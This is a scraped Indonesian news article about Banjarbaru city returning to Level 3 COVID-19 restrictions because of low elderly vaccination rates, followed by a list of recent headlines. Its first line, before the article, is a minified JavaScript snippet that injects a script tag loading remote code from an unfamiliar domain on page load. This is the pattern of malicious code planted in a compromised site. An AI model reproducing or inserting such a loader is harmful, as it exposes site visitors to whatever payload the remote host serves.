(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Kota Banjarbaru Kembali ke PPKM Level 3


KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru kembali ke Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) Level 3, menyusul adanya Inmendagri nomor 11 tahun 2022 yang menyatakan Kota Banjarbaru kembali ke PPKM Level 3.

Epidemiolog Kesehatan dari Dinkes Banjarbaru Banjarbaru, Edi Sampana mengatakan, salah satu penyebab utamanya adalah capaian vaksinasi lansia untuk dosis 2 masih di bawah 60 persen.

“Banyak variabel yg mempengaruhi status PPKM, salah satunya vaksinasi lansia yang masih di angka 55,94 persen,” ungkapnya kepada Kanalkalimantan.com, Selasa (15/2/2022).

Disamping itu dari assesment hal yang mempengaruhi juga angka kasus baru, angka rawar inap, CFR, kapasitas testing, kapasitas tracking, BOR, cakupan vaksinasi dosis pertama dan cakupan vaksinasi dosis pertama lansia.

 

 

Baca juga: Tiga Kali Surat Peringatan, Akhirnya Bangunan di Bekas Pasar Bauntung Banjarbaru Dibongkar

“Supaya PPKM Banjarbaru bisa turun ke level 2 atau 1, kita harus menggenjot dosis kedua lansia. Saat ini kita di Banjarbaru baru mencapai 55,94 persen, dalam 14 hari kedepan harus tercapai 60 persen,” ujarnya.

Dinkes Banjarbaru mengimbau kepada masyarakat untuk segera melakukan vaksinasi terutama lansia yang rentan terkena Covid-19, kemudian menghindari kerumunan lebih dari 15 menit.

Terus disiplin menerapkan protokol kesehatan, kalau ada gejala sakit tenggorokan, batuk, pilek, sakit kepala segera lapor ke Puskesmas atau tes rapid antigen mandiri,

“Tingkatkan imunitas dgn selalu gembira, berjemur matahari, cukup istirahat/gizi/olahraga,” tambahnya.

Baca juga: Janji Jokowi Ubah Sampah Plastik Jadi Listrik, Demi Lindungi Laut Indonesia

Lanjut Edi, kalau ada gejala sakit tenggorokan, batuk, pilek, sakit kepala segera lapor ke puskesmas atau tes rapid antigen mandiri, jika positif Covid-19 segera lakukan isolasi mandiri minimal 10 hari dan mengakses telemedisin kalau terjadi gejala ringan atau sedang dan segera lapor ke Puskesmas atau langsung ke RS kalau gejala sedang atau berat.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

2 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

3 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

3 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

4 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

5 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

6 jam ago

This website uses cookies.